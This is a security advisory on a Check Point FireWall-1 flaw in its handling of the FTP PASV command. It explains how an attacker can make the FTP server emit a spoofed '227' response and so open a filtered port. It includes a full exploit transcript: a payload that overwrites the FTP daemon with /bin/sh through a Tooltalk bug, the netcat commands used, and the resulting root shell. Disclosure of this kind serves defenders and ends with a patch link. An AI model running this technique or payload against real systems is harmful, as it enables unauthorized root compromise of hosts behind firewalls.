|
Brought to you by:
Suppliers of:
|
|
|
| |
A new attack shows how to subvert the security policy implemented by a stateful firewall. This is attack is performed by triggering an internal host to generate a TCP packet that, when inspected by the firewall, will change the firewall's internal state and enable an attacker to establish a TCP connection to a filtered port through the firewall.
In this clever attack, this packet is the server response to a PASV user request during an FTP session. |
| |
Credit:
The information was provided by: John McDonald and Thomas Lopatic.
|
| |
Check Point FireWall-1 is vulnerable to an attack on the stateful support for the FTP protocol, specifically the handling of the PASV command. Typically, the FTP client application will send the FTP server a PASV command, and the response from the FTP server will be a '227' message specifying to which destination IP address and destination port the client is expected to connect for the next data connection.
FireWall-1 monitors the packets sent from the FTP server to the client, looking for the string "227 " at the beginning of each packet. Upon a match, FireWall-1 will extract the destination IP address and the destination port given in the packet payload, verify that the specified IP address corresponds to the source address of the packet, and allow an incoming TCP connection through the firewall according to the destination IP address and the destination port extracted from the datagram.
There are several restrictions on this connection that limit its utility. Data can only travel in one direction and it cannot be to a port that is listed in FireWall-1's list of well-known TCP services. It is important to note that FireWall-1 version 3 does not have this limitation, connections can be made to any port, and the flow of data is not managed.
In order to trick FireWall-1 into allowing a connection to a port on the FTP server, we must have the server send the "227 " string as the first four bytes in a packet that, according to its source port, belongs to a FTP control connection. We can typically accomplish this by using the error handler of the FTP daemon, in conjunction with limiting the MSS of our TCP connection.
This is easy to do by setting the MTU of our interface to a small value we can work with, before we establish a control connection to the victim FTP server. In this case, the returning packets from the server will be smaller, allowing us to control how data is split into packets. Thus, we can make the "227 " message returned by the error handler appear at the beginning of a packet.
Another way to accomplish this would be to ACK up until the message we want to receive, and then have the server retransmit the data we want to be contained in an isolated packet.
Here is an example of an attack based on this technique. There is a FireWall-1 machine between gumpe and the 172.16.0.2 server, which only permits incoming FTP connections. 172.16.0.2 is a default Solaris 2.6 install, with the Tooltalk Database vulnerability.
We send the datagram directly to the service TCP port, in spite of this port being blocked by the firewall. Note that since there is no response expected, the one-way restriction doesn't affect this attack.
This was tested on a Nokia IPSO machine running FW-1 version 4.0.SP-4.
Exploit example:
[root@gumpe /root]# strings hackfile
localhost
""""3333DDDD/bin/ksh.-c.cp /usr/sbin/in.ftpd /tmp/in.ftpd.back ; rm -f
/usr/sbin/in.ftpd ; cp /bin/sh /usr/sbin/in.ftpd
[root@gumpe /root]# /sbin/ifconfig eth0 mtu 100
[root@gumpe /root]# nc -vvv 172.16.0.2 21
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 21 (?) open
220 sol FTP server (SunOS 5.6) ready.
...........................................227 (172,16,0,2,128,7)
500 '...........................................
(NOTE: The port number is know using this calculation: 128*256+7 = 32775)
[1]+ Stopped nc -vvv 172.16.0.2 21
[root@gumpe /root]# cat killfile | nc -vv 172.16.0.2 32775
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 32775 (?) open
sent 80, rcvd 0
[root@gumpe /root]# nc -vvv 172.16.0.2 21
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 21 (?) open
220 sol FTP server (SunOS 5.6) ready.
...........................................227 (172,16,0,2,128,7)
500 '...........................................
[2]+ Stopped nc -vvv 172.16.0.2 21
[root@gumpe /root]# cat hackfile | nc -vv 172.16.0.2 32775
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 32775 (?) open
sent 1168, rcvd 0
[root@gumpe /root]# nc -vvv 172.16.0.2 21
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 21 (?) open
id
uid=0(root) gid=0(root)
(Note that there is an easier way to perform a similar attack with this setup, since the default Solaris FTP daemon allows a bounce attack, but this should suffice to demonstrate the potential severity of this problem).
Patch:
Checkpoint has provided a patch which tries to deal with this issue. Although it does not solve the actual problem, it helps prevent the attack described above.
The patch is available at:
http://www.checkpoint.com/techsupport/alerts/pasvftp.html
|
|
|
|
|
